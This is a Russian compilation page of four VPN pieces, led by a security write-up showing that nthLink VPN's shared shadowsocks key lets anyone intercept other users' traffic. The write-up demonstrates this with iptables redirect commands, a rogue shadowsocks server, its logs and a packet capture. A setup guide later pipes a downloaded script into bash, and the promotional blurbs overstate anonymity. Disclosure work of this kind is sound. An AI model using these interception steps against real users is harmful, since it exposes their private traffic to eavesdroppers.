Снимаем шифрование nthLink VPN
Заметка о nthLink VPN, его внутренностях и его катастрофическом провале в криптографии. Почему это может быть важно:
- Некоторые люди могут полагаться на несуществующие гарантии безопасности, обещанные этим приложением. Этот продукт в особенности претендует на обход цензуры, очерчивая свой главный сценарий использования. В этом сценарии использования нарушение конфиденциальности угрожает привести пользователя к непреднамеренному раскрытию данных цензору, которые должны были быть спрятаны VPN-соединением.
- Другие подобные приложения, использующие одни и те же инсталляции shadowsocks для множества разных пользователей, могут так же иметь эту проблему. Вообще этот протокол всё ещё подходит только для персонального применения, а не для публичных сервисов с множеством пользователей.
Также эта заметка может заинтересовать людей, которые хотели бы знать, как работают подобные приложения внутри.
О nthLink VPN
Интересные факты о продукте.
Перевод
Важнее всего, оно [приложение] использует сильное шифрование, чтобы защитить поток информации между потребителем и источником.
Ещё заявления о безопасности:
Перевод
Не позволяет цензорам производить инспекцию содержимого/пакетов.
Дважды прошли аудит безопасности:
Перевод
Аудиты безопасности — два аудита безопасности проводились над nthLink в 2019 и 2020 годах компанией Cure53 — независимой организацией, специализирующейся в цифровой безопасности, которая проверяет ПО в соответствии с последними стандартами безопасности.
Выдержки из отчётов аудита:
«В этом заключении стоит заметить, что для этого проекта [аудита] использовалась модель довольно сильного атакующего.»
«Проводившийся в октябре и ноябре 2020, этот проект [аудита] сосредотачивает внимание на приложении nthLink VPN для Android, iOS и, вдобавок, для Windows, и соответственно на их безопасности и отношение к конфиденциальности конечных пользователей.»
«Cure53 завершили верификацию исправлений, последовавших за пентестом и аудитом исходного кода в конце ноября 2020. Команда Cure53 смогла проверить все исправления, которые были представлены командой nthLink. Это значит, что все относящиеся к делу и попадающие в рамки находки, обнаруженные Cure53 в пентесте и аудите исходного кода NTH-02, теперь успешно исправлены, и исправления успешно устраняют найденные уязвимости.»
Вы можете запросить отчёты аудита, как и модели угроз, связавшись с командой поддержки nthLink.
Интересно, что отчёт об аудите не сделан публичным, а обещан быть предоставлен по запросу. В чём проблема опубликовать его? В любом случае, в свете представленных здесь находок, можно смело предполагать, что аудит Cure53 либо бесполезен, либо его темой была инфраструктура/вебсайт, а не само приложение.
Приложение заявлено как имеющее открытый исходный код, покуда ваше письмо с запросом исходного кода не угодит в папку для спама:
Перевод
Пожалуйста, свяжитесь с командой поддержки nthLink, чтобы запросить доступ к исходному коду nthLink.
Внутренности приложения
Приложение делает вид, что работает как VPN для всей системы, но на самом деле это просто прокси-клиент shadowsocks. Оно использует badvpn tun2socks (или похожую программу), чтобы перенаправлять все TCP- и UDP-сессии в соединение shadowsocks, которое технически не является VPN.
Несмотря на то, что исходный код не опубликован и не легкодоступен, было тривиально извлечь его из приложения для Windows на электроне. JS-код может быть распакован просто командой npx asar extract . Здесь есть полное руководство по этой теме.
Анализ исходного кода показал, что алгоритм получения реквизитов для подключения грубо можно описать следующим образом:
- Вычислить текущий домен API на основании некоего зерна домена, заданного конфигурацией домена верхнего уровня и текущей даты.
- Если этот домен недоступен, то откатиться к заданному жёстко домену на AWS S3.
- Сделать запрос на получение тела конфигурации.
- Тело конфигурации содержит подпись (RSA-SHA256 PKCSv15). Проверить её.
- Расшифровать окончательный JSON с реквизитами подключения, зашифрованными с помощью AES256-CTR. Статический ключ шифрования захардкожен. Также эта конфигурационная полезная нагрузка содержит самые актуальные настройки для вычисления домена API: зерно домена и домен верхнего уровня.
Я сделал альтернативный клиент API, который выполняет эти шаги и позволяет получить обычные реквизиты для подключения к серверу shadowsocks, которые подходят к любому ванильному (обычному) клиенту shadowsocks.
Но вот какая проблема. Все криптографические ключи в shadowsocks получаются из общего пароля, который одинаково задан на клиенте и сервере. Следовательно, если все клиенты знают симметричный общий ключ (SPSK), они могут использовать его для атаки «человек посередине» на других клиентов того же сервера. Это катастрофический провал в криптографии, который уничтожает безопасность протокола.
Демо? Демо!
Продемонстрируем, что кто угодно может видеть и вмешиваться в трафик, защищённый приложением nthLink.
Установка приложения и подключение
Последнее приложение nthLink — это приложение nthLink для Android версии 5.1.0, выпущенное 1 апреля 2021.
Установлено и подключено:
Подключение проверено. IP-адрес сменился на IP-адрес сервера nthLink:
Мошеннический сервер shadowsocks
IP-адресом жертвы в сети является 192.168.1.65. Нам нужно перенаправить для него трафик к shadowsocks-серверам nthLink на наш поддельный shadowsocks-сервер.
На линуксовом шлюзе (роутере) соберём список http-подобных соединений от устройства-жертвы:
fgrep 192.168.1.65 /proc/net/nf_conntrack | fgrep dport=443 | fgrep ESTABLISHED
И с другой стороны будем запускать nth-dump, пока не появится адрес из собранного списка соединений.
Теперь мы смогли соотнести соединения с сервером nthLink и реквизитами для подключения к нему. Запустим наш мошеннический сервер shadowsocks. Для этой цели я использую сервер go-shadowsocks2:
Наконец, перенаправим трафик жертвы на наш мошеннический сервер shadowsocks:
iptables -t nat -I PREROUTING -m tcp -p tcp -s 192.168.0.0/16 -d 68.183.72.121 —dport 443 -j REDIRECT —to 443 iptables -t nat -I PREROUTING -m udp -p udp -s 192.168.0.0/16 -d 68.183.72.121 —dport 443 -j REDIRECT —to 443
Перехват трафика достигнут
Смотрим в логи go-shadowsocks2:
2022/08/24 23:24:46 tcp.go:137: proxy 192.168.1.65:46868 108.177.119.94:443 2022/08/24 23:24:49 tcp.go:137: proxy 192.168.1.65:46882 142.250.203.142:443 2022/08/24 23:24:49 tcp.go:137: proxy 192.168.1.65:46890 172.217.18.3:443 2022/08/24 23:25:06 tcp.go:137: proxy 192.168.1.65:46900 142.250.185.109:443 2022/08/24 23:25:06 tcp.go:137: proxy 192.168.1.65:46908 142.250.184.228:443 2022/08/24 23:25:06 tcp.go:137: proxy 192.168.1.65:46914 142.250.185.67:443 2022/08/24 23:25:07 tcp.go:137: proxy 192.168.1.65:46920 34.160.111.145:443 2022/08/24 23:25:09 tcp.go:137: proxy 192.168.1.65:46930 8.8.4.4:443 2022/08/24 23:25:09 tcp.go:137: proxy 192.168.1.65:46936 8.8.8.8:443 2022/08/24 23:25:09 tcp.go:137: proxy 192.168.1.65:46944 8.8.8.8:443 2022/08/24 23:25:14 tcp.go:137: proxy 192.168.1.65:46952 172.217.20.202:443 2022/08/24 23:25:42 tcp.go:137: proxy 192.168.1.65:46966 149.154.167.50:443 2022/08/24 23:25:46 tcp.go:139: relay error: read tcp 46.250.2.79:60350->44.192.201.202:4244: read: connection reset by peer 2022/08/24 23:25:47 tcp.go:137: proxy 192.168.1.65:46972 44.192.201.202:443 2022/08/24 23:26:18 tcp.go:137: proxy 192.168.1.65:46980 216.58.215.99:443 2022/08/24 23:27:50 tcp.go:137: proxy 192.168.1.65:46986 149.154.167.50:443 2022/08/24 23:28:11 tcp.go:137: proxy 192.168.1.65:46992 149.154.167.50:443 2022/08/24 23:28:34 tcp.go:137: proxy 192.168.1.65:46998 149.154.167.50:443
Как видно, соединения успешно перенаправляются и наш сервер shadowsocks понимает и выполняет запросы.
Подтвердим перенаправление обратно на мой домашний IP-адрес, даже с включённым VPN:
Мы могли бы снова направить трафик на серверы nthLink после инспекции, чтобы всё выглядело как обычно, но для целей демо нам наоборот нужно сделать это более явно, а не скрытно.
Наконец, снимем трафик с помощью tcpdump -i any -nvvs0 ‘dst port 443’ -w hs.cap , чтобы показать, что мы видим трафик так же, как без VPN вовсе. Перехваченное рукопожатие TLS в анализаторе PCAP-дампов пакетов Wireshark:
Источник: habr.com
LinkVPN Unlimited VPN Proxy
LinkVPN, совершенно бесплатно, безопасно, быстро и НЕОГРАНИЧЕННАЯ VPN прокси разблокирует любые сайты и сохраняет свою деятельность в безопасности, безопасность и конфиденциальность.
Теперь мы поддерживаем iPhone и IPad. Пожалуйста, поиск «LinkVPN» из AppStore от Apple.
СОВЕРШЕННО бЕСПЛАТНО
✓ Бесплатно навсегда: Нет информации нужна кредитная карта.
безграничным
✓ нет никаких ограничений скорости, без ограничения пропускной способности
✓ Работа с WIFI, 4G, 3G и всех мобильных носителей информации.
ВЫСОКАЯ ПРОИЗВОДИТЕЛЬНОСТЬ
✓ Разблокировать географически ограниченных веб-сайтов, минуя государственную цензуру
✓ Разблокировать любые веб-сайты и приложения из школы, компании, дома или где-нибудь в мире.
✓ Доступ любого веб-сайта в любой стране.
✓ Разблокировать ваши любимые веб-сайты и приложения с LinkVPN в любое время!
✓ быстрый и надежный профессионально управляемой сети.
ВЫСОКАЯ СКОРОСТЬ
✓ Обеспечить верхний сервер, чтобы обеспечить самую высокую скорость VPN, и наиболее стабильные и обеспеченные соединения.
✓ Подключение вас к ближайшему серверу согласно вашему положению автоматически. В результате, соединит вас с самым быстрым сервером
SAFE ГАРАНТИРОВАННАЯ
✓ Скрыть свой IP-адрес и географическое расположение, так что вы можете просматривать веб-страницы в частном порядке и анонимно. Никто не знает, где Вы находитесь.
✓ Шифрование интернет-трафика, защитить ваши данные от хакеров.
✓ Оставайтесь частные и анонимный онлайн, не давая никому из отслеживать деятельность в Интернете.
✓ Защита мобильной связи и связи на общественных / открытых WiFi точек доступа.
ЛЕГКО РАБОТА
✓ Подключение VPN одним щелчком мыши, не корневого доступа, не требует настройки или конфигураций, даже не зарегистрируетесь, без регистрации, без кредитных карт.
✓ Разблокировать мир только с одним нажатием кнопки «Connect».
✓ Авто в лучших местах для Вас, основываясь на текущем IP.
ЗАЩИТА КОНФИДЕНЦИАЛЬНОСТИ
✓ Защита пользователей как анонимность с собственным браузером
✓ Hide IP пользователей, личность и местонахождение, и никто не может отслеживать деятельность пользователей в Интернете.
✓ Шифрование всего трафика на устройства пользователей
✓ Не отслеживать или держать любые журналы пользователей и их деятельности.
Получить LinkVPN сейчас! И если вы любите его, не забудьте распространять любовь, дав ему 5 звезд!
Примечание: Пожалуйста, не загружать Bit Torrent, любой P2P получит аккаунт заблокирован!
Обратная связь: Если у вас есть какие-либо вопросы или предложения, не стесняйтесь связаться с нами по электронной почте. Мы хотели бы услышать от вас 🙂
Источник: play.google.com
Что такое клиент VPN и как его настроить на роутере TP‑Link
VPN (виртуальная частная сеть) обеспечивает удалённый безопасный доступ в интернет путём использования туннелей. VPN шифрует личные данные и скрывает IP-адрес от внешнего мира при использовании интернета, чтобы никто не знал, какие сайты вы посещаете и чем вы на них занимаетесь.
Для чего нужен клиент VPN?
Хотите посетить сайт так, чтобы об этом никто не знал? Боитесь, что интернет-провайдер тайно использует ваши данные в своих целях? Нужен домашний доступ к офисным сетевым ресурсам? VPN — ответ на все эти вопросы.
Где можно скачать клиент VPN?
Для подключения к серверу VPN на устройстве должен быть установлен клиент VPN. При поиске клиента VPN можно найти много разных программ: некоторые — платные, некоторые — бесплатные. Иногда на устройствах уже есть встроенный клиент VPN (например, компьютеры Windows оснащены клиентом VPN) — к таким устройствам относятся и новые роутеры TP-Link.
Преимущества клиентов VPN на роутерах TP-Link
Нет необходимости устанавливать ПО на каждом устройстве
В отличие от обычных программ VPN, клиенты VPN на роутерах TP-Link позволяют подключённым к сети устройствам подключаться к серверам VPN без необходимости установки клиента VPN на каждом устройстве.
Работают с большинством сторонних серверов VPN
Клиент VPN на роутерах TP-Link работает с серверами VPN TP-Link и большинством сторонних серверов VPN, включая Surfshark, NordVPN, Mullvad VPN, ProtonVPN, ExpressVPN, PrivateTunnel, OVPN.com и PIA.
При изменении вышеперечисленными сервисами VPN своих параметров или протоколов, для их дальнейшей работы может потребоваться обновление прошивки роутера.
Нет ограничений
У некоторых сервисов VPN могут быть ограничения — например, может быть ограничено максимальное число устройств, одновременно использующих VPN. С клиентом VPN на роутере TP-Link таких ограничений не будет — нужно лишь использовать одну учётную запись на всех устройствах.
Обеспечивают защиту для устройств умного дома
Многие устройства умного дома снижают уровень безопасности и повышают риск утечки личных данных, однако на новых роутерах TP-Link используется система безопасности HomeShield, обеспечивающая защиту устройств IoT в режиме реального времени. В дополнение к этому можно использовать подключение VPN, чтобы скрыть свои умные устройства от внешнего мира и создать дополнительный уровень защиты.
Роутеры TP-Link, на которых есть клиент VPN
Настройка клиента VPN на роутере позволит вам стать «невидимкой» в интернете и обеспечит полную анонимность: IP-адреса ваших устройств будут скрыты, а сеть — надёжно зашифрована. При использовании VPN отследить какие-либо ваши действия будет невозможно.
Вот некоторые из роутеров TP-Link, на которых есть клиент VPN: Archer AX20, Archer AX55, Archer AX73 и Archer AX90.
Как подключиться к серверу VPN на роутере TP-Link
Выполните вход в веб-интерфейс роутера, настройте подключение VPN и выберите устройства, для которых нужно создать подключение VPN.
Источник: www.tp-link.com
Как сделать личный VPN-сервер с трафиком 32 ТБ за 200 рублей в месяц
До недавнего времени VPN был уделом гиков и тех, кому необходимо передавать важную информацию максимально конфиденциально. К сожалению, сегодня VPN утратил свое первоначальное предназначение, теперь его используют для доступа к заблокированным в России интернет-ресурсам.
Но у публичных сервисов (даже платных) есть один большой минус — низкая скорость подключения. Вероятно, сервисы не были к такому массовому наплыву пользователей из России.
Недавний опыт показывает, что публичные VPN в России могут заблокировать. Недавно жители Сибири и Ростовской области отмечали недоступность VPN-сервисов. Вероятно, это было тестирование блокировки популярных протоколов VPN.
К счастью, всегда есть выход!
За 20 минут вы можете настроить свой личный VPN-сервер с трафиком 32 Тбайт в месяц и неограниченной скоростью всего за 200 рублей. И, да, ему будут нестрашны любые блокировки.
Что такое Outline
Outline — это не привычный VPN-сервис, к которым многие привыкли. По сути, это self-hosted продукт, который вы настраиваете на своём или арендованном облачном сервере. Конфигурация Outline позволяет удобно подключаться к вашему VPN-серверу и предоставлять доступ другим людям на ваше усмотрение.
Outline был разработан компанией Jigsaw — внутренней командой Google, но не переживайте, никаких скрытых опций для сбора персональных данных в приложении нет.
Как минимум потому, что исходный код можно найти в свободном доступе на GitHub и изучить его на наличие подводных камней. Но их вы не найдёте, потому что сервис проходил в 2018 году проверку безопасности специалистами двух независимых организаций: Radically Open Security и Cure53. Они подтвердили, что Outline отвечает новейшим стандартам безопасности.
Более того, все передаваемые через сервер данные, Outline шифрует по стандарту AEAD 256-bit Chacha2020 IETF Poly 1305. То есть, никто из вне, даже среди тех людей, кто имеет доступ к подключению, не сможет перехватить информацию других пользователей. В том числе и вы, даже будучи владельцем сервера.
Вкратце о плюсах:
1. Сам по себе протокол Outline VPN бесплатен, платите вы только за аренду сервера (в районе 200 рублей в месяц)
2. Никто извне не сможет получить доступ к вашим данным
3. Outline устойчив к блокировкам VPN-сервисов на основе DNS или IP-адресов. То есть, ваш VPN-сервер будет работать, даже если другие публичные VPN будут заблокированы
4. Блокировки VPN со стороны провайдеров и государственных ведомств нацелены на публичные VPN-сервисы. Заблокировать ваш, частный сервер с VPN-конфигурацией они не смогут
Теперь, переходим к делу.
Арендуем сервер
Такие популярные хостинги, как Amazon Web Services, Google Cloud и Digitalocean не принимают российские банковские карты, поэтому остаётся использовать российские варианты. Лично я рекомендую использовать VDSina. Они принимают российские и иностранные карты (Mastercard, Visa, «МИР»). Пополнить счёт также можно с QIWI-кошелька, ЮMoney, WebMoney и даже при помощи криптовалюты.
После регистрации заранее пополните баланс на 200 рублей (месячная стоимость аренды сервера), зайдите в панель управления и нажмите на пункт «Добавить сервер».
Параметры настройки сервера:
- Тип: стандартный
- Операционная система: CentOS 7
- Тариф: младший за 6 рублей в день (около 200 рублей в месяц) с трафиком 32 Тбайт в месяц
- Местоположение: Амстердам
- Автоматический бэкап можно отключить
После того как вы создадите сервер, в раздел поддержки придёт оповещение, в котором будет содержаться IP-адрес сервера и пароль, они понадобятся для удаленного подключения и дальнейшей настройки.
Подключаем VPN к серверу
Для этого воспользуемся бесплатным VPN-протоколом Outline. Скачиваем Outline Manager для установки конфигурации на сервер.
После запуска Outline Manager выберите «Настройте Outline где угодно». Теперь переходим к основной работе: открываем терминал (для Windows можете скачать ssh-клиент Putty). Но встроенной командной строки тоже должно хватить.
Все дальнейшие команды просто копируем и вставляем в консоль шаг за шагом. Ничего сложного
Для начала обновим сервер:
Устанавливаем Docker:
Устанавливаем Outline:
1. Копируем из Outline Manager команду и вставляем её в Терминал: sudo bash -c «$(wget -qO- https://raw.githubusercontent.com/Jigsaw-Code/outline-server/master/src/server_manager/install_scripts/install_server.sh)»
2. Нажимаем enter
3. Копируем ключ, выделенный зелёным текстом в Outline
3. Iptables: sudo yum install iptables и нажимаем enter
4. Завершаем шаг и и запускаем установку сервисов командой: sudo yum -y install iptables-services и нажимаем enter
5. Вводим команду: iptables -L -v -n и нажимаем enter
6. Сбрасываем параметры командой: sudo iptables -F
Разрешаем входящие и исходящие подключения:
1. sudo iptables -A INPUT -i lo -j ACCEPT и нажимаем enter
2. sudo iptables -A OUTPUT -o lo -j ACCEPT и нажимаем enter
3. sudo iptables -A INPUT -m state —state ESTABLISHED,RELATED -j ACCEPT и нажимаем enter
На этом этапе переходим в Ouline Manager и подключаемся к серверу. Если вы всё сделали правильно, то в программе появится возможность создания ключей для последующих подключений.
Важно: для каждого устройства необходим свой ключ. На этом всё. Если у вас в процессе возникнут какие-то вопросы, то смело пишите их в комментарии.
Источник: www.ixbt.com